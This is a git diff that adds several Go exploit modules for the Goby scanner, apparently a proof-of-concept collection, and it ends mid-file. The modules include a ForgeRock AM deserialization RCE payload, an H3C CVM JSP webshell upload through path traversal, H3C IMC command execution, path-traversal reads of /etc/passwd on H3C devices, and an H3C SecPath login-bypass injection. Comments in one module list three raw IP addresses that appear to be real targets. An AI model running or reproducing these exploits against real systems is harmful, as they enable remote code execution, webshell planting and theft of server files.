@@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "ForgeRock AM RCE CVE-2021-35464", + "Description": "Forgerock OpenAM is an open source single sign-on framework from Forgerock, Inc. The framework provides the core identity service (CoreServer) to achieve transparent single sign-on in a network architecture.\\nDue to the use of the JATO framework in the Forgerock AM, this framework was discontinued for maintenance in 2005.The GET request parameter JATO.PageSession is handled in this framework and its value is deserialized directly.Attackers can construct jato. PageSession with a value of malicious serialized data, eventually causing remote code to execute.", + "Product": "ForgeRock AM", + "Homepage": "https://www.forgerock.com/blog/tag/openam", + "DisclosureDate": "2021-07-06", + "Author": "luckying1314@139.com", + "GobyQuery": "app=\"OpenAM\"", + "Level": "3", + "Impact": "

Deserialization command execution is mainly due to the application system in dealing with a sequence of bytes by means of reverse sequence not to check the sequence information, an attacker can forge the malicious byte sequences and make application system, application system will be to reverse sequence of the sequence of bytes will perform when submitted by malicious attackers sequence of bytes, which can lead to arbitrary code or command execution,Finally can complete the application system control authority or operating system authority.

", + "Recommandation": "

Verifies deserialized characters

", + "References": [ + "https://www.pwnwiki.org/index.php?title=CVE-2021-35464_ForgeRock_OpenAM_RCE%E6%BC%8F%E6%B4%9E" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "createSelect", + "value": "ls,pwd,cat /etc/passwd", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/openam/oauth2/..;/ccversion/Version", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/openam/ccversion/Version", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "OR", + { + "Request": { + "method": "POST", + "uri": "/openam/oauth2/..;/ccversion/Version", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded", + "cmd": "{{{Cmd}}}" + }, + "data_type": "text", + "data": "jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRv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HNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$" + }, + "SetVariable": [ + "output|lastbody" + ] + }, + { + "Request": { + "method": "POST", + "uri": "/openam/ccversion/Version", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded", + "cmd": "{{{Cmd}}}" + }, + "data_type": "text", + "data": "jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyV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tWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "RCE" + ], + "CVEIDs": [ + "CVE-2021-35464" + ], + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "ForgeRock AM" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/H3C CVM Arbitrary File Upload Vulnerability.go b/lib/goby/goby_pocs/H3C CVM Arbitrary File Upload Vulnerability.go new file mode 100644 index 000000000..968e04479 --- /dev/null +++ b/lib/goby/goby_pocs/H3C CVM Arbitrary File Upload Vulnerability.go @@ -0,0 +1,232 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "H3C CVM Arbitrary File Upload Vulnerability", + "Description": "

H3C company relies on its strong technical strength, product and service advantages, as well as the popular customer-centric concept to provide optimized virtualization and cloud business operation solutions for the IAAs cloud computing infrastructure of enterprise data center. Through the H3C CAS CVM virtualization management system, we can realize the central management and control of the virtualized environment in the data center. With a simple management interface, we can uniformly manage all physical and virtual resources in the data center, which can not only improve the management and control ability of administrators, simplify daily routine work, but also reduce the complexity and management cost of the IT environment.

H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "Product": "H3C-CVM", + "Homepage": "http://www.h3c.com/cn/Service/Document_Software/Software_Download/H3Cloud/Catalog/Cloud_Virtualization/CAS_CVM/", + "DisclosureDate": "2022-05-25", + "Author": "su18@javaweb.org", + "FofaQuery": " server=\"H3C-CVM\" || (banner=\"H3C-CVM\" && banner=\"Server: \")", + "GobyQuery": " server=\"H3C-CVM\" || (banner=\"H3C-CVM\" && banner=\"Server: \")", + "Level": "3", + "Impact": "

H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "Recommendation": "

At present, the official has not released a security patch, please pay attention to the manufacturer's update.http://www.h3c.com/cn/Service/Document_Software/Software_Download/H3Cloud/Catalog/Cloud_Virtualization/CAS_CVM/

", + "References": [ + "https://fofa.so/" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "fileName", + "type": "input", + "value": "evil", + "show": "" + }, + { + "name": "fileContent", + "type": "input", + "value": "<%out.println(\"123\");%>", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/test.php", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "test", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/test.php", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "test", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "Tags": [ + "Arbitrary File Creation" + ], + "VulType": [ + "Arbitrary File Creation" + ], + "CVEIDs": [ + "" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "8.0", + "Translation": { + "CN": { + "Name": "H3C CVM 前台任意文件上传漏洞", + "Product": "H3C-CVM", + "Description": "

H3C 公司依托其强大的技术实力、 产品与服务优势, 以及深入人心的以客户为中心的理念, 为企业数据中心 IaaS 云计算基础架构 提供最优化的虚拟化与云业务运营解决方案。 通过 H3C CAS CVM 虚拟化管理系统实现数据中心虚拟化环境的中央管理控制, 以 简洁的管理界面, 统一管理数据中心内所有的物理资源和虚拟资源, 不仅能提高管理员的管控能力、 简化日常例行工作, 更可降低 IT 环境的复杂度和管理成本。

H3C CVM 存在任意文件上传漏洞,攻击者可以上传任意文件,获取 webshell,控制服务器权限,读取敏感信息等。

", + "Recommendation": "

目前官方尚未发布安全补丁,请关注厂商更新。http://www.h3c.com/cn/Service/Document_Software/Software_Download/H3Cloud/Catalog/Cloud_Virtualization/CAS_CVM/

", + "Impact": "

H3C CVM 存在任意文件上传漏洞,攻击者可以上传任意文件,获取 webshell,控制服务器权限,读取敏感信息等。

", + "VulType": [ + "⽂件上传" + ], + "Tags": [ + "⽂件上传" + ] + }, + "EN": { + "Name": "H3C CVM Arbitrary File Upload Vulnerability", + "Product": "H3C-CVM", + "Description": "

H3C company relies on its strong technical strength, product and service advantages, as well as the popular customer-centric concept to provide optimized virtualization and cloud business operation solutions for the IAAs cloud computing infrastructure of enterprise data center. Through the H3C CAS CVM virtualization management system, we can realize the central management and control of the virtualized environment in the data center. With a simple management interface, we can uniformly manage all physical and virtual resources in the data center, which can not only improve the management and control ability of administrators, simplify daily routine work, but also reduce the complexity and management cost of the IT environment.

H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "Recommendation": "

At present, the official has not released a security patch, please pay attention to the manufacturer's update.http://www.h3c.com/cn/Service/Document_Software/Software_Download/H3Cloud/Catalog/Cloud_Virtualization/CAS_CVM/

", + "Impact": "

H3C-CVM has an arbitrary file upload vulnerability, which allows attackers to upload arbitrary files, obtain webshell, control server permissions, read sensitive information, etc.

", + "VulType": [ + "Arbitrary File Creation" + ], + "Tags": [ + "Arbitrary File Creation" + ] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + exploitUploadFile2398429842 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool { + + // 上传文件 + requestConfig := httpclient.NewPostRequestConfig("/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/" + fileName + ".jsp&name=222") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + requestConfig.Header.Store("Content-range", "bytes 0-10/20") + requestConfig.Header.Store("Referer", "http://"+host.HostInfo+"/cas/login") + requestConfig.Data = fileContent + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "\"success\\\":true") { + return true + } + } + + return false + } + + checkUploadFile12312313810923 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool { + + requestConfig := httpclient.NewGetRequestConfig("/" + fileName) + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fileContent) + } + + return false + } + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + + rand := goutils.RandomHexString(6) + rand2 := goutils.RandomHexString(6) + + if exploitUploadFile2398429842(rand2, "<%out.print(\""+rand+"\");%>", u) { + return checkUploadFile12312313810923("/cas/js/lib/buttons/"+rand2+".jsp", rand, u) + } + + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + + fileContent := ss.Params["fileContent"].(string) + fileName := ss.Params["fileName"].(string) + + if exploitUploadFile2398429842(fileName, fileContent, expResult.HostInfo) { + + expResult.Success = true + expResult.Output = "文件上传已成功,请检查路径:/cas/js/lib/buttons/" + fileName + ".jsp" + } + + return expResult + }, + )) +} + +// http://183.63.173.141:8080/ +// https://60.190.202.42:8443/ +// http://61.53.232.5:28080/ \ No newline at end of file diff --git a/lib/goby/goby_pocs/H3C_HG659_lib_File_read.go b/lib/goby/goby_pocs/H3C_HG659_lib_File_read.go new file mode 100644 index 000000000..6758befe9 --- /dev/null +++ b/lib/goby/goby_pocs/H3C_HG659_lib_File_read.go @@ -0,0 +1,88 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "H3C HG659 lib File Read", + "Description": "H3C HG659 is any file read, can read any file server", + "Product": "H3C HG659", + "Homepage": "https://www.huawei.com/", + "DisclosureDate": "2021-06-15", + "Author": "PeiQi", + "GobyQuery": "app=\"HuaWei-Home-Gateway\"", + "Level": "2", + "Impact": "

File read

", + "Recommendation": "Update", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "File read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "H3C HG659" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/lib///....//....//....//....//....//....//....//....//etc//passwd" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root:") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + file = strings.Replace(file, "/", "//", -1) + uri := "/lib///....//....//....//....//....//....//....//...." + file + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.RawBody + expResult.Success = true + } + } + return expResult + }, + )) +} diff --git a/lib/goby/goby_pocs/H3C_IMC_dynamiccontent.properties.xhtm_RCE.go b/lib/goby/goby_pocs/H3C_IMC_dynamiccontent.properties.xhtm_RCE.go new file mode 100644 index 000000000..c55b08092 --- /dev/null +++ b/lib/goby/goby_pocs/H3C_IMC_dynamiccontent.properties.xhtm_RCE.go @@ -0,0 +1,104 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "H3C IMC dynamiccontent.properties.xhtm RCE", + "Description": "H3C IMC dynamiccontent.properties.xhtm RCE", + "Product": "H3C IMC", + "Homepage": "https://www.h3c.com.cn", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "app=\"H3C-iMC\"", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "whoami" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["H3C IMC"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/imc/javax.faces.resource/dynamiccontent.properties.xhtml" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=ipconfig" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "Windows") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + uri := "/imc/javax.faces.resource/dynamiccontent.properties.xhtml" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded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xqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=" + cmd + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/H3C_Next_generation_firewall_File_read.go b/lib/goby/goby_pocs/H3C_Next_generation_firewall_File_read.go new file mode 100644 index 000000000..1e5cf4821 --- /dev/null +++ b/lib/goby/goby_pocs/H3C_Next_generation_firewall_File_read.go @@ -0,0 +1,88 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "H3C Next generation firewall File read", + "Description": "Attackers can download arbitrary files on the server through the vulnerability", + "Product": "H3C Next generation firewall", + "Homepage": "http://www.h3c.com.cn", + "DisclosureDate": "2021-05-28", + "Author": "PeiQi", + "GobyQuery": "app=\"H3C-Firewall\"", + "Level": "2", + "Impact": "

File read

", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "File read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "H3C Next generation firewall" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/webui/?g=sys_dia_data_down&file_name=../../../../../etc/passwd" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/webui/?g=sys_dia_data_down&file_name=../../../../.." + file + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.RawBody + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/H3C_SecPath_Operation_Login_bypass.go b/lib/goby/goby_pocs/H3C_SecPath_Operation_Login_bypass.go new file mode 100644 index 000000000..65edfbd35 --- /dev/null +++ b/lib/goby/goby_pocs/H3C_SecPath_Operation_Login_bypass.go @@ -0,0 +1,85 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "H3C SecPath Operation Login bypass", + "Description": "H3C SecPath Operation Login bypass", + "Product": "H3C SecPath", + "Homepage": "https://www.h3c.com.cn", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "app=\"H3C-SecPath-Operation-and-maintenance-audit-system\"", + "Level": "1", + "Impact": "Login bypass", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": false, + "ExpParams": null, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["H3C IMC"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "审计管理员") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/HEJIA_PEMS_SystemLog.cgi_Arbitrary_file_download.go b/lib/goby/goby_pocs/HEJIA_PEMS_SystemLog.cgi_Arbitrary_file_download.go new file mode 100644 index 000000000..b5a97b7fb --- /dev/null +++ b/lib/goby/goby_pocs/HEJIA_PEMS_SystemLog.cgi_Arbitrary_file_download.go @@ -0,0 +1,89 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "HEJIA PEMS SystemLog.cgi Arbitrary file_download", + "Description": "Shijiazhuang Hejia Technology Co., Ltd. and Jijia Technology PEMS have arbitrary file download vulnerability, which can be used by attackers to obtain sensitive information without logging in. ", + "Product": "Moving loop monitoring system", + "Homepage": "http://www.hejia-tech.com/", + "DisclosureDate": "2021-08-27", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"和嘉机房动力环境监控系统\"", + "Level": "2", + "Impact": "

Arbitrary file download or read vulnerability is mainly because when the application system provides file download or read function, it directly specifies the file path in the file path parameter and does not verify the validity of the file path, so that the attacker can jump through the directory (..  \\ or..  /) to download or read files outside the original specified path.  Attackers can download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.  

", + "Recommandation": "

undefined

